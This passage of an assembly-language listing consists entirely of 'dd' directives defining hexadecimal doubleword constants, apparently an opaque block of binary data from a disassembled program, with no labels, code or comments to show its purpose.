dd 460AA150h, 0B16F11D2h, 0C10F0B3Ch, 0C7700FEBh, 3180F210h
dd 3E02D6h, 813A4A83h, 591104BEh, 68041DDh, 63FB644Dh
dd 0F1B1C0A9h, 67D88131h, 9642DB06h, 24A83799h, 40FC11D0h
dd 0AA976393h, 67391814h, 3850198h, 0E7F6B3A3h, 15848440h
dd 619300D8h, 2321FB3Dh, 0F7C8A19h, 0B239730Eh, 3F981566h
dd 929228B1h, 3F0318E4h, 7CCE9ED0h, 0F69F801Fh, 0AEB80F49h
dd 0C855963Ah, 0A8431114h, 14C06E8Eh, 2A1A0DC0h, 0AE89601h
dd 36E7386Ch, 3DF4F820h, 40098CDh, 4341CCA8h, 0B402EFF7h
dd 0BC395714h, 5DD490ABh, 36E7BCBh, 257A9683h, 71006989h
dd 913E92E3h, 3815819h, 3CD02614h, 7DB39EFCh, 82902088h
dd 158EEB09h, 6A4208Bh, 36FC0B1h, 0B0E7F22Eh, 6950353Ah
dd 0DE4DB680h, 4539022Ch, 4C573CA9h, 8C2012D0h, 0D4B9112Ah
dd 93B6007Dh, 523EAC1Ah, 2F002534h, 0FFE41FFEh, 2A814FBh
dd 7C023D15h, 9FD61926h, 98DC7409h, 0F81060h, 0FF6114D8h
dd 0F70A23B7h, 0A200A8A4h, 1CC15EB5h, 40CE67h, 9DEFC85Fh
dd 633C5B71h, 24E09904h, 0CCC84BAFh, 1EE49916h, 3D380029h
dd 98702A05h, 0D4839401h, 0CB8A67EAh, 0D264F180h, 0E3EC62F6h
dd 0C0A44B00h, 90596DFFh, 7820F32Eh, 0A9C364D4h, 432A800Ch
dd 48918145h, 95463C24h, 0B7CB006Ch, 0F172F34h, 1F0E29ACh
dd 0AC3AAD81h, 541171CAh, 7E9C5Dh, 0C4846834h, 0C1E79977h
dd 0C251C30Eh, 16760143h, 84626588h, 51B874h, 0EF040B47h
dd 0BE9D5719h, 91F40200h, 273ECEDFh, 133C982Ch, 4C331506h
dd 22CA2A30h, 4C028900h, 67B3F1EFh, 0AF6E0084h, 6145FDEEh
dd 0AA0CF873h, 995AF058h, 0F6920A43h, 1803C2Ah, 0F77BAD39h
dd 0D3C184CDh, 3680AF97h, 0ED0820Ch, 0AA3E691Fh, 0B4C125C0h
dd 0B22CFE6Bh, 476E945Dh, 0C6603A22h, 5FD0E6Dh, 62EB801Eh
dd 0A0748098h, 3E05C0ADh, 0E85B2A59h, 688100C0h, 44B348CBh
dd 609F4A80h, 9D3A95A0h, 0EC89075Fh, 43BC74Fh, 134041F8h
dd 8E56BE83h, 375E0D00h, 0D7F14349h, 0F05C00AFh, 0CBC2478Ah
dd 0ED00CD98h, 9535035h, 902AE13Dh, 2643F827h, 61406781h
dd 0E0D5ED79h, 45023AB1h, 0A87CBC0Bh, 0A98642Fh, 0A78A0208h
dd 0F600BB8Ch, 0C9E49FEAh, 503C2A52h, 84252928h, 843C2C80h
dd 1847B0h, 773A599Ch, 46BDDE97h, 3126853Ch, 638AF1C5h
dd 4DCF1E8h, 0E093C48Ch, 9D18C29Bh, 47F260C0h, 9F150200h
dd 4BE10BAFh, 12F8B076h, 263F390Dh, 7230D0E4h, 70491111h
dd 732E300Fh, 59A8F548h, 24CC694Dh, 32401816h, 0EA0D984h
dd 0E9058B13h, 0B3115FC0h, 872C1FFDh, 0B8A46C2Fh, 59D4B807h
dd 0C740A2D0h, 0D4F25C86h, 1096D580h, 0DF00647h, 31F72748h
dd 1ACA615Eh, 88F04430h, 0D2F2519Fh, 3C8BC02Eh, 0B5CF4C40h
dd 86EA12h, 5523E09Eh, 3BA1717Ah, 0EF393A60h, 70F89DEh
dd 6E31D638h, 1E631014h, 4924B171h, 0A8B38497h, 4888DD61h
dd 74690F8Fh, 4E405994h, 0A8AD7F15h, 2C223B1Eh, 0DC8E0E00h
dd 2EFF0138h, 77475B1h, 320819D9h, 0CCC4F758h, 7342961Dh
dd 1304FDB9h, 453CB72Eh, 7D2090C8h, 37560061h, 2496A022h
dd 0CE663A60h, 6A44B9h, 19EA0982h, 36962BD7h, 0D9AD7E00h
dd 0A1784C05h, 0EDC70A8Eh, 119C8AC0h, 0F138005Dh, 7FF08DEEh
dd 0A3950093h, 0A853DA89h, 4400F203h, 0B7F79AD1h, 99D8C8F3h
dd 353906ACh, 3877B9AFh, 0B00C3624h, 598D5C0Ch, 0BC5654F0h
dd 7197780h, 110FD2D9h, 0A665C0A5h, 430B6712h, 0F56F03h
dd 0F098D7E8h, 90EF5863h, 0DD92FC3Fh, 308C138Ch, 9B92B3FCh
dd 171F5901h, 0DBBE4ECDh, 1E04F020h, 0AC73F30Fh, 0A08500C4h
dd 0A529955Ch, 44C01096h, 0DB8F43h, 64C5C37h, 0F0187CA5h
dd 2A00F491h, 2B3ED6F6h, 1CF7483Ch, 80935580h, 5F007245h
dd 0A528495Ah, 1AEF8ECh, 2019C8ADh, 0E00DE392h, 761E9BF9h
dd 3E014150h, 714E44D7h, 303A2FD4h, 0CB89A490h, 0DCA8F1C9h
dd 90B12B39h, 0D380B391h, 0BC745C93h, 0FADDE700h, 756401D7h
dd 82AD046Ch, 88DBCB81h, 3F1F6078h, 0DCE8E0F1h, 0C101A00h
dd 27EDB3D0h, 47A20059h, 5B6D6EC5h, 3C18A369h, 0B679B444h
dd 3A4B0C03h, 9489D997h, 5F63CE00h, 0C3C4E979h, 1107759h
dd 75892917h, 0F03A46BAh, 0AC59B913h, 8AE180F0h, 4A8F1EDEh
dd 49C82036h, 4D133B39h, 840A4587h, 8402D462h, 44155208h
dd 0C6310028h, 0E6858B6Eh, 0DAE725D8h, 0D0030CC4h, 1BD492D1h
dd 0C8DAFB45h, 0F63F57B0h, 0E76C00DDh, 0FB93F5D6h, 0D0F1A59h
dd 72473CB8h, 9F090C1Fh, 0F270A378h, 4511DBAh, 99148FB3h
dd 2919D382h, 2681840h, 1741F39h, 18FF1C9Ah, 0C242C11h
dd 10311CC3h, 2A00BD8Ah, 721C6D45h, 0AB30B3A1h, 0DC2D08Fh
dd 0A4365023h, 0D30388C6h, 0FD451016h, 98A4EC0Bh, 2C78E0h
dd 4EEA0B5Eh, 7F2A4BCDh, 26AD7CEBh, 0DB60ECD1h, 2C60F2h
dd 0DF089742h, 3207F47Dh, 0DA63B200h, 77F91259h, 5464E4C9h
dd 69B816h, 197AB07Eh, 0FD4D917Ch, 88769E00h, 113127CFh
dd 36212445h, 0AC02009Ch, 3CA6297Eh, 418EB832h, 70052F0h
dd 78E1DD44h, 10FAA0B2h, 52005628h, 46DA17AEh, 1F39AE0h
dd 4CB48BCh, 39112483h, 5AAA00D4h, 0EAB889Bh, 673712C4h
dd 404C1C7Ah, 3F59BE44h, 0AD00C0BCh, 0C938E399h, 24297CC8h
dd 0E7C4AFEh, 299E6697h, 0F1F600A4h, 2B591D44h, 0BB0E8D09h
dd 0C9C4806Ah, 26C9BA1h, 6246A08Eh, 0A8E4C2C8h, 0CF791002h
dd 2F2A327Ah, 0E11DEC94h, 0CD250536h, 4A6482A4h, 0C78F5865h
dd 0AB84DE61h, 0A6808360h, 0D808C9h, 652122D5h, 0E8EFAEC7h
dd 9E002C90h, 520A2319h, 473A8Bh, 30593D62h, 43886BAAh
dd 86845C48h, 0F08913B6h, 0FC3A488Ch, 0C95EF0C2h, 0D0127B00h
dd 23B700DAh, 0A6968C2Eh, 0C04E10Dh, 0A902CE2Ah, 90E960C0h
dd 41826164h, 0FCC4ED20h, 3007CBAh, 549D4CF9h, 748D9997h
dd 981D13C1h, 27A40436h, 3395455Bh, 0B81E88Ch, 7DD58AA0h
dd 0B5BA8081h, 0E5A8D90Fh, 6631814Eh, 76CCD75Bh, 2E38C420h
dd 1D7045A3h, 0EF0C4043h, 39E587B3h, 1174C4A0h, 9EBA34A0h
dd 0DC221600h, 939B09Bh, 9820F54Ah, 7B4E30C1h, 9C279930h
dd 2D6E4313h, 1DA1C888h, 40094F6Ah, 0DF89F905h, 0CF0CFB1Dh
dd 0B9A48AB9h, 31EB1DC0h, 240E80C2h, 0D0396532h, 0B8408B4Eh
dd 0BD626C47h, 15050273h, 0A71FEA7Bh, 138941C0h, 17EE3E01h
dd 9FA33FABh, 0F0A480F2h, 0A0984744h, 4C0F0E84h, 0DA80D415h
dd 8A489CC0h, 3639D924h, 313EA90Bh, 8203D4Ch, 0E88A58F9h
dd 57EBA283h, 62FA22A0h, 375A1378h, 43315020h, 82D90E46h
dd 7800B798h, 4D5CA1ADh
dd 32553904h, 0C852A734h, 30E1740h, 6912A5ADh, 8A8CE889h
dd 9B500267h, 6EFBA797h, 26D3B080h, 714F4381h, 35A40827h
dd 3CB360C0h, 19DA645Eh, 4DB4C8F0h, 848F6200h, 0ECE9C85Dh
dd 0FE730020h, 0F471DC3Dh, 893A7703h, 181F8023h, 76CBD05Ch
dd 0D8FE581Bh, 7FF6F301h, 80AB7043h, 0A6EE3F59h, 543DA9D5h
dd 1383945Fh, 1200280h, 64942B8h, 0D526DD89h, 803C3C52h
dd 47A9E5A5h, 92A00734h, 503FB1D2h, 3784EC57h, 6B483316h
dd 71ED8C00h, 23EC41Ch, 86271065h, 0FC60EAFBh, 8E407B0Dh
dd 9871149Eh, 8B80E43Ah, 0D7F98524h, 0C7CBE113h, 727B1820h
dd 406E4F11h, 0E694B028h, 1BF8E72Dh, 8B00087Fh, 1EA05FB7h
dd 7BF55DA7h, 0B0B27107h, 3A2A02F5h, 463C9245h, 0F12AA464h
dd 990FACBEh, 40D74383h, 6B1AF7FDh, 39EE00CDh, 653445A1h
dd 0BE26F89Ah, 0A23848E7h, 0C8740C12h, 0EAA1DDC7h, 3A397313h
dd 949FB490h, 7E2D14A3h, 997EC7B1h, 92778074h, 57FBE093h
dd 457FBB02h, 804C46ADh, 1B26F6D4h, 0D15B0049h, 8680784Eh
dd 90A4C1CBh, 0FA624301h, 3FDC4FE2h, 134289DCh, 0B69C720h
dd 2C8507E0h, 61D8C0A9h, 0ECA84811h, 2F00CFB1h, 0C7EDDB94h
dd 2094483h, 0B0A95EA3h, 0E2205589h, 16999C5h, 7C760FF5h
dd 0C45B2206h, 63306581h, 0F9E5C1E4h, 4B100DFh, 15C13A5Fh
dd 8F0E845Eh, 277BE3BFh, 91D37DA2h, 0A3104B5h, 0C011F8EEh
dd 8CE567F9h, 72278302h, 521580FCh, 0FAB51EECh, 0D616827Bh
dd 0CB40C88Dh, 9A007A5Ch, 73C6BAE6h, 2C928167h, 4080F70Ch
dd 0F1F58FC1h, 0C7AF8701h, 5A254914h, 24C0B07Bh, 3ACD70FDh
dd 8453384Ah, 72FA8405h, 84312C95h, 0FB00E3E1h, 0A8747B05h
dd 5295ED24h, 1001273Ah, 0F4470980h, 56FD0006h, 44E969C0h
dd 0C00074Fh, 0A2A19F87h, 0FD0F428h, 8CAEF259h, 0B2EAA5C4h
dd 0E2470070h, 261DE9A3h, 978707Ah, 46EF9862h, 205D0484h
dd 3EE08696h, 44112393h, 24F12887h, 8235EE00h, 1C7D3C15h
dd 0A28C046Fh, 8050A8B0h, 94D79ADCh, 2CA9EA09h, 3C98216Bh
dd 2444825Fh, 5CD088h, 0CE8AA0Bh, 0D462309Fh, 0C004527Fh
dd 0DD3A243Eh, 24A138A4h, 8174DF3Bh, 257AA992h, 0CE0DCC99h
dd 0C574FF04h, 58F464CAh, 8EC0042h, 0F86F8ECDh, 721F79DCh
dd 8F40663Ah, 98193E5Bh, 804CBC15h, 24C59F2Dh, 2E004AB7h
dd 7240EC7Fh, 3C74D662h, 3E0A7085h, 13CC0227h, 0B3542059h
dd 0A1245391h, 0A2005226h, 8A20D59Bh, 0CD0E26F1h, 0C05464C8h
dd 0D7EEBB3Fh, 0B082A04h, 0B4801A8Ah, 0E97B5185h, 7791F4h
dd 387210F4h, 1E2A132Bh, 25B51C05h, 40B229DCh, 0BA288200h
dd 0E0DE2C55h, 5EC52E02h, 92FD5F43h, 994C90ACh, 9C050E4Eh
dd 0F84093F2h, 726C4D07h, 920CE4EAh, 0A14711C9h, 0EA37008Ch
dd 0B686F76Eh, 27090B23h, 483A8EC8h, 68B3BCh, 358CEB9Eh
dd 3F01A1D5h, 742CC37Bh, 0AE41A48Ah, 0BBD8FC8Fh, 23C10047h
dd 4975D72Fh, 2B3A983Eh, 29C52A8h, 3B0F95A1h, 0F6E4C43Ah
dd 7C83007Eh, 817E5A0h, 177BF57h, 0FC787502h, 0E1EE2EC1h
dd 0E6CAFBCCh, 8D0D1C1Ch, 4B15C794h, 7CC200EAh, 0B20E7024h
dd 2BAD84F9h, 2C68C4DAh, 11907C8h, 0F50D5E39h, 0E2C02178h
dd 0A124B622h, 993A9B50h, 9A054078h, 8218AA0Ah, 0DCE0FB14h
dd 51F123Ch, 0EAC1EDD7h, 0BFB9436Bh, 79382442h, 0E1CC186Ch
dd 61011C8Fh, 93BEFE05h, 0D2700E70h, 99300E38h, 7AA4C006h
dd 37588262h, 8A8C1060h, 7700DCB1h, 0A088BECFh, 0F7AA2D4Ch
dd 7C801CAEh, 71B32DE8h, 0E5811501h, 0D940533Bh, 9272420h
dd 0F77545ABh, 0F637B410h, 675C191Ch, 0BB229683h, 0CB1AE1DBh
dd 0F453DCD1h, 0E214E2D6h, 4F306439h, 37A01260h, 4FCD0054h
dd 4A192718h, 0AF198CAAh, 17EEEE0h, 2F3C5270h, 30285496h
dd 8488553Ch, 0F62270ECh, 36A03D46h, 2C85913h, 197CAD84h
dd 0E6006859h, 0A24F25B0h, 5E960045h, 0CD67F06h, 754C46A0h
dd 9DAB1F6Ch, 92128B80h, 0BA73AB2h, 0D43003AFh, 21E0EC0Eh
dd 0AB112488h, 63A11067h, 32014540h, 0D4AD0E97h, 0AA015966h
dd 0EF77935Bh, 433CBFF0h, 126334BCh, 36888127h, 3FC20h
dd 0A093EA08h, 7CD79BE1h, 0B9B71C00h, 3F7B29F0h, 11BD01D3h
dd 3ADEA645h, 2C5C3303h, 3B403016h, 7F0E2EBEh, 0C4180172h
dd 0F9096E73h, 0A45D71ECh, 0F042B47Eh, 4FE8207Ch, 8300552Ah
dd 6CB20711h, 7912EE3h, 155B9996h, 0D1472B0h, 0A47A9062h
dd 56F16000h, 900E62C4h, 15DD0085h, 72A683Fh, 452506A3h
dd 6F888067h, 4EDCEC0h, 0DDA99E44h, 6EE888F0h, 70170800h
dd 0C1372C49h, 72FB002Ah, 0E3F813A0h, 42803A9h, 0B401C844h
dd 604A7AC4h, 7171615Bh, 0A1C0DF21h, 0D1F0A2F3h, 0C22C002Ch
dd 89AC9175h, 0AE9B8C00h, 74933F0Ch, 2E1F1472h, 0A700E811h
dd 31BB275Ch, 0B8B932E9h, 8081D08Bh, 5CE2EE03h, 758C009Ch
dd 0E13654F2h, 6800A0D3h, 90347B50h, 0FCAE4573h, 773B0BEAh
dd 98C96493h, 996CC010h, 3456D100h, 0D65E30Ah, 1D43B811h
dd 5731B7B1h, 0E1D70292h, 3454393Ah, 0D7530A40h, 24D201CCh
dd 127727Ch, 0C0512039h, 0D08AE22Ch, 88446043h, 7833B30h
dd 0E79C14A4h, 235E0F8h, 5A0E8B73h, 65B3E638h, 34F23FA3h
dd 2D10AC00h, 0EA962090h, 970077E2h, 0BEB402E5h, 0C3E0BDEh
dd 0BAF76B58h, 80003769h, 0A1F5AAA4h, 18E4C8Ah, 0E8277B93h
dd 0EEC02FA0h, 2105684Ch, 0AC425C7h, 9F893CC0h, 0B842491Eh
dd 20BD8D00h, 9B9E5162h, 828F923Bh, 0D995B690h, 3AED6171h
dd 27809068h, 0CB424465h, 0BBC0EC0Eh, 918380C8h, 0EF1E06h
dd 5F8404Fh, 0D4C6FF77h, 7AF042h, 1C83F2DFh, 574B99B6h
dd 7BA3400Bh, 0E5188084h, 6E277DDh, 64C694C3h, 7900B99Bh
dd 3AC5074Dh, 2430A7AAh, 0FCE3AFh, 23E67C8Ch, 0F82F777Fh
dd 0B8841064h, 96200AEh, 0A531632Ah, 1002EE36h, 28E5F392h
dd 5BDC8070h, 58356Ch, 0A0988C07h, 0E68808Ah, 3E71B600h
dd 27D0444Ah, 2ADB00A3h, 0AFB2AC0Dh, 3924F6FBh, 29449096h
dd 0F700B4A2h, 7CBD1ECCh, 0F02640CDh, 0D804AC73h, 9209BFA8h
dd 32DA9490h, 6F839509h, 381680F6h, 9964370Bh, 354D0054h
dd 0D3039BB2h, 3D75EB00h, 46DDC7EEh, 0BD370301h, 0A4163876h
dd 3A2B27E0h, 4A0E2D03h, 58B73F39h, 0C7226C99h, 80B4123Eh
dd 1C7B4413h, 0D5D41Fh, 0E9A0A849h, 55842711h, 7D9BC31Eh
dd 4972F90h, 8004C8DCh, 0DB2427E4h, 2E4C1858h, 0AA2850F8h
dd 5610A817h, 8024EC27h, 8190E424h, 4D9A3Fh, 0B3A8B57Ah
dd 1474B7EDh, 0B35935F7h, 3A90C904h, 0EC68892Bh, 0B6017507h
dd 0C2F5B44h, 0E08693A1h, 0D1CD3BBFh, 32C01700h, 7C4BBBE1h
dd 0B0D700BEh, 92636FB3h, 792E09B4h, 9C0FAC31h, 7CC6C71Ch
dd 1523BFC0h, 6C60E39Fh, 0E2B8811h, 809C78F1h, 1E37857Bh
dd 4C34B865h, 3B2D5F18h, 0B5AC9CA0h, 8B74A509h, 0E95D0370h
dd 0C3EE0008h, 0C11AD81h, 44B890B6h, 0FE1439B4h, 2D40677h
dd 2CA87530h, 9E98A157h, 10109B65h, 3A00197Eh, 0C380780h
dd 5C3048h, 0FB74BFF4h, 0A9CBA428h, 21A4601h, 0B8E35133h
dd 9D04003Ch, 878F4541h, 2EA916C0h, 981A0C0Ch, 0AE9092h
dd 39AA69B3h, 0FB3D7B49h, 90AEB3Ah, 0E4B8CFE1h, 73C50040h
dd 879B141Ch, 0DA007EF0h, 0CC0C990Bh, 0F465A656h, 1FAC923Ch
dd 4052751Bh, 8F550881h
dd 2A01EFE4h, 0E2B065C8h, 38689220h, 9BA5D280h, 56009501h
dd 776F0A10h, 78711AF5h, 0B44B25BEh, 115D6461h, 0F1202319h
dd 3ACDF8B0h, 0C78106EDh, 95D73DA5h, 0BD44202Ch, 0CB36AC09h
dd 1B05AB3h, 0DCE77973h, 2881FBB5h, 133E8058h, 2CF7B21Eh
dd 2C0EFA01h, 0E9080010h, 69CD872Eh, 0CA46F14h, 484625CCh
dd 4026B8h, 6297073Ch, 74D71E3Fh, 18FBA813h, 14D02000h
dd 4F1216Bh, 0C88A893Ch, 821088C0h, 0CEBCC0Ch, 20B041h
dd 0D89F7A47h, 0DFCB57F9h, 390580B1h, 34B4ACDDh, 4FC5AF7h
dd 0C01AB108h, 6EBD5CD9h, 217B0627h, 0DBC860A0h, 800BF039h
dd 44E8114Dh, 3F00916Eh, 0B30CC157h, 79FB8351h, 63E2271Dh
dd 3ECC7C20h, 2C00C87Bh, 0A8EE819Eh, 150666Eh, 0DAF815D8h
dd 70404C01h, 0BF887CD4h, 50E300B6h, 0DAE97FA2h, 3600D99Ah
dd 0D5ED0D10h, 17963AAh, 9D5F7868h, 2C39FB85h, 9ED480A4h
dd 0D50D51h, 0BE2D760Ah, 50C1D146h, 0D2B61202h, 0F210B5F2h
dd 30109D70h, 0B000608Ch, 690BF945h, 487A8346h, 746403h
dd 0D15D876Eh, 3C78CCB8h, 823395Fh, 0CDADA0F4h, 0F5050167h
dd 0CB1F4AF8h, 619849C1h, 84E46074h, 0A9A7105h, 0A4B2E00Eh
dd 30024800h, 3458EAEDh, 8E44B207h, 0BEE0A7DFh, 9D93E0C3h
dd 0FF255890h, 1A694400h, 0D359825Eh, 703E0061h, 8DA0201Ch
dd 98009B73h, 570AF05Ch, 0B411C2D5h, 0FE2680FCh, 7677A85Eh
dd 5200C3E4h, 19E924E5h, 2E7A55AEh, 643460BCh, 4E91804Fh
dd 893EA613h, 3A419D06h, 8405B82Ch, 88C824AFh, 80A0963Bh
dd 55301B7Fh, 240FCACDh, 0C7E2698Dh, 8192F8D7h, 0A6ACE1AAh
dd 0F7D035C1h, 0BC016E3h, 305CC853h, 84E8BD04h, 80C2AA50h
dd 0BC1CC094h, 40B0BC3Ah, 6945A33Eh, 0C996A4A0h, 1D5A1122h
dd 429BCCF9h, 1CD76B80h, 946930E0h, 0BFE7B307h, 6845F873h
dd 0F8318833h, 0EBA729h, 4C6CFDAAh, 92D936F9h, 18B64801h
dd 8F5EAF13h, 26705DC1h, 443D0022h, 0EC5FB7F4h, 58000848h
dd 0D817E710h, 1D9A6807h, 0BC9F4E5Ch, 1F77A73Eh, 805DF67Ch
dd 5B913F52h, 7575F429h, 6F02B706h, 128C932h, 23B84F17h
dd 0E0784D09h, 0F60020BEh, 9354403Fh, 1D86B11Ah, 0E26AA9h
dd 0A671B008h, 0A5002AA2h, 0B1C5E627h, 0F007A73Bh, 8F510E5Ch
dd 6F03DA30h, 6114120Fh, 0D9D0D03h, 0B0FE9856h, 77EA4F0h
dd 0DADE82A5h, 65F6E08Dh, 50073FBh, 0D606E784h, 3F7940h
dd 0DCC89A09h, 7166B7CEh, 0BDEF0B00h, 86A86AA2h, 338C01E9h
dd 7DD63DC4h, 0C9718E17h, 9969588Eh, 24F80062h, 0F196FCBAh
dd 0E0784383h, 0CC15483Eh, 98A87A50h, 800EC4C0h, 0A089D537h
dd 0FC5DFAE2h, 0BA2C0ECEh, 498A751Fh, 5AF8060h, 83A2A9A8h
dd 8EB78C13h, 1C91A006h, 0FD9F3021h, 332F7B59h, 0E900DAF4h
dd 557CDB2Ah, 0EED30B02h, 31D46298h, 21C00122h, 0AC008614h
dd 18FE505Eh, 4D83BEh, 0F0959ADBh, 0A51BA399h, 39002BF8h
dd 0BF91B19Ch, 3008C9F4h, 3A71F09Fh, 0DE3B17DAh, 0B805B859h
dd 0CA22017Ah, 0F239C882h, 5158D610h, 75B1A802h, 8EEBEC49h
dd 7AD702E0h, 88A4A1C8h, 6C10E099h, 0D11E5540h, 2D81FFDAh
dd 0E660810h, 30AC4024h, 8481FA6Bh, 7D061BEFh, 3D6EFFB7h
dd 0FB310E41h, 49C075FDh, 0C03B21Ah, 0A7BC100h, 5F186B8h
dd 0BD6C1F3Fh, 6E10C648h, 52003938h, 0EFF8D65h, 7D5FDAD9h
dd 95F21E06h, 0A985033Ch, 79000380h, 8A986E0Ah, 3F33369h
dd 6FED73BBh, 51E23F6Ch, 0B7F8E960h, 7E1FA61Dh, 3873B9F0h
dd 3C4008Bh, 90D64A8Eh, 0A6EA0807h, 0E5421C9h, 68801E44h
dd 13F666A5h, 122F0055h, 35D4BB8Eh, 0FD033F2Dh, 7F69B550h
dd 0E839078Ah, 10900BE2h, 0EEAE3C0Ch, 721DFD00h, 78A28581h
dd 0A8DD0433h, 8860B7ABh, 7D30C7D8h, 0BBCC41B8h, 437008Ch
dd 84DA89EDh, 7E508241h, 0F828F410h, 0BC008F2Ch, 43AE8F53h
dd 14AF5A3Fh, 447E8EB6h, 3DE2FA00h, 0F581FCF4h, 12724201h
dd 0A170391Eh, 0AD6CD4h, 76D1D260h, 0B3B82F4h, 0E1500C90h
dd 2D734194h, 128D0909h, 4004106Eh, 0B8E8001Bh, 0C9F9AEE2h
dd 4504E707h, 69540509h, 0D81E71C5h, 4831E558h, 0BC0B1FFCh
dd 8B58C45Eh, 0C41C8285h, 56812620h, 80E2E56Fh, 444B51B0h
dd 0B0D3005Dh, 0C539DDFh, 4892110Fh, 60848E03h, 9034BAF3h
dd 62AF469h, 3AC8B81Ah, 49071EBh, 383A1142h, 7EE06A44h
dd 5B117B60h, 0E8F106h, 4097028Bh, 3A9E99B1h, 0DED91600h
dd 8857CD22h, 648E54C8h, 0EA870A21h, 80248F32h, 4F18D792h
dd 460035D9h, 4A5140A1h, 9F2859h, 0D594A380h, 2299FF8Fh
dd 6E0D88h, 850E4104h, 0ED91063Ch, 9448D60h, 179F111h
dd 69025D16h, 80AB6B08h, 0E28EAC69h, 2FD472Dh, 8426D560h
dd 73C0EED3h, 91000E1Fh, 5E7318C2h, 79B1B7D4h, 5F9A0713h
dd 2A32106Dh, 0C7EC8088h, 0EDC3F272h, 980F3426h, 0C5935040h
dd 5362025Dh, 99F805DCh, 81007464h, 31941FA8h, 1DFC8698h
dd 91243767h, 7FEA00D7h, 49A6F0C2h, 0CD05042Ch, 0C08175D3h
dd 0CF13FF70h, 0A8920F72h, 0A36EECE5h, 337C3B00h, 75C6B188h
dd 265F1E0Eh, 7837C094h, 0F9E17A1Ah, 0FE181572h, 0C469D66Eh
dd 97898h, 0A0DAF56Bh, 533D9A6h, 3057160Ah, 478394A1h
dd 0A00C6521h, 4FDF79h, 0ECB607A4h, 7BD72604h, 4747448h
dd 548B7F9h, 5480BC94h, 0C9F62F1h, 0EF800686h, 0CB035519h
dd 0E330DDFBh, 0C8B7D816h, 0A769C92Bh, 26B47408h, 3849138Ah
dd 3898AA84h, 27358E01h, 0D31BC48Fh, 36D2ECh, 7A077F4Dh
dd 72215904h, 0B2136C18h, 1E970350h, 0DCB0C7h, 58E2865h
dd 6054CD4Dh, 0C600314Ch, 5040EB67h, 7A4487h, 424C6205h
dd 71543EC2h, 8D09B4E6h, 831A132Fh, 189E665Eh, 0C1236EA1h
dd 771FF45h, 4EEE5503h, 0D86D6AF3h, 9C80EE6h, 69625941h
dd 0C7393B80h, 0F6009665h, 11B625B3h, 0B8502108h, 0A0CA1E48h
dd 219113CFh, 4873AC98h, 0B000AAACh, 0FA40473Eh, 2C97F0A9h
dd 0F483A7Dh, 0E780E178h, 8F11364h, 48F91900h, 0A1FFAE10h
dd 3ACF3ABBh, 97D6A9E1h, 5D5424E5h, 2F674F00h, 0FE902271h
dd 7C6E0E66h, 9FA63D52h, 72C07904h, 1FFA80D6h, 763FFC9Ah
dd 3E2CB8CAh, 6E98F250h, 0B630B1CDh, 32C8B9C0h, 7D6B26h
dd 84259D23h, 30A70C55h, 5D76C01h, 9E8CA624h, 44329F42h
dd 2F472668h, 0F21F00CBh, 0AEE08610h, 77DC3901h, 870E8E46h
dd 26573470h, 3F902E42h, 0EF8855B3h, 0C9E86AE3h, 5801F134h
dd 0C56653B6h, 38601836h, 0D7F515E0h, 9C007C85h, 199DCBA6h
dd 5C17B71Eh, 5C208004h, 402A69h, 92738123h, 0D1762615h
dd 88FDEC00h, 38878391h, 456700F1h, 2F48EF51h, 718CEA0h
dd 2761DD32h, 3807695h, 0C074AECFh, 0DBC1E57Ch, 3F7D00E6h
dd 0E8E90052h, 0A2E03534h, 22006E6Fh, 1768139Ch, 331F9F6h
dd 54FF9A28h, 99001980h, 0B978C0Dh, 156377h, 5EC7938Dh
dd 86355468h, 0CFD57A0Bh, 81489A26h, 2C980168h, 7A898C40h
dd 0C0BB0037h, 93263F48h, 6F7B58ECh, 8B0B14B0h, 107F4BE7h
dd 750D59E4h, 0E1983A9Bh, 15D93083h, 0E100DE32h, 7E589E14h
dd 1FBAA81h, 0F40847C2h, 0EEB7A655h, 5EF4AC44h, 7DA6B899h
dd 110F303Fh, 0EEE6DC37h, 0F1F20949h, 0E003DF5Dh, 15A0CDE3h
dd 0B03C611Ch, 0DC240016h, 56EA8ACCh, 0B8E70043h, 458EF9FFh
dd 337BB31Ch, 0BCAF6800h
dd 0FD19062Bh, 0CF7D03DBh, 987F022Ch, 4688F8ABh, 2B008754h
dd 0BEF64396h, 15676ADh, 0D6C724A1h, 0FF5361C3h, 5FF087B8h
dd 0D5283E6Bh, 0F54E9C03h, 0CE00107Bh, 0CC9A53C6h, 0E6CF9A2h
dd 2215FAB7h, 14D6AB00h, 836359B9h, 98893E60h, 1B3AC39h
dd 526A36B1h, 0D8C8C07Ch, 1B06E02Ah, 0B050DDA3h, 692E0380h
dd 0C1118A8Fh, 6683A801h, 0DBE5FD1Eh, 7EEF63F8h, 7D3DF869h
dd 0BD381994h, 0E8B1C9FAh, 0E83F57E2h, 310E80DCh, 0FDD3F25Ch
dd 0B79B1230h, 58310BC0h, 98C0BF78h, 7381A96h, 69FD4C84h
dd 0F1E5360Ch, 5A00B2F1h, 0A6DA6E85h, 2812F8h, 60839E6h
dd 901D6157h, 52B1D218h, 0C7B349h, 0C5804F14h, 0D8C17942h
dd 6AA97D03h, 0EDF90F71h, 0FBAC9C46h, 860E0061h, 0C6D03925h
dd 3B00CD0Dh, 6A7523B6h, 60FE87ECh, 57FB29FAh, 841468ACh
dd 70987E02h, 8C856F3Eh, 807D5B59h, 0C7171D13h, 0DBD4802Fh
dd 0A16C0B5h, 2EDEAA07h, 0C95A31h, 0CAD70FCBh, 0CC465256h
dd 200413Bh, 0ADA7BDF2h, 77008FAEh, 10CE54F5h, 301B756h
dd 0B15841B5h, 16C9736Ah, 7B804315h, 0F747880Fh, 0BC91805Eh
dd 6DCE428h, 5958CC03h, 5400617Ch, 0C10AA5B9h, 0D52C94h
dd 1DDC4B7Ah, 587588F3h, 731E2F03h, 0C0F1A263h, 60E5B73Bh
dd 8E9DF905h, 32C01548h, 0BE016EF9h, 0AF660EC6h, 78588BF2h
dd 0FA0027B0h, 0EAA87A63h, 8078B1F8h, 0AA7B2196h, 0C7722F00h
dd 75402DD1h, 0B7940304h, 3CEA9EC1h, 52F725C0h, 2011DE24h
dd 47B12286h, 48130241h, 0A814866Fh, 6B7F1460h, 93180207h
dd 184F0E44h, 7C2B5229h, 8C805050h, 5CE53094h, 0A746E0C1h
dd 84E91C03h, 0F0556FAEh, 9058528Fh, 4C701E0h, 0B4FB891h
dd 2AC3C3BDh, 26E4F9D0h, 0B5A8EC5Fh, 0FD242903h, 0AC91E1A0h
dd 7A598007h, 9DEB90F8h, 0D61400AFh, 1DBF852Bh, 5A495972h
dd 0F3BE0108h, 0C0D074DEh, 32F7F8h, 483DE3C1h, 2CAFB628h
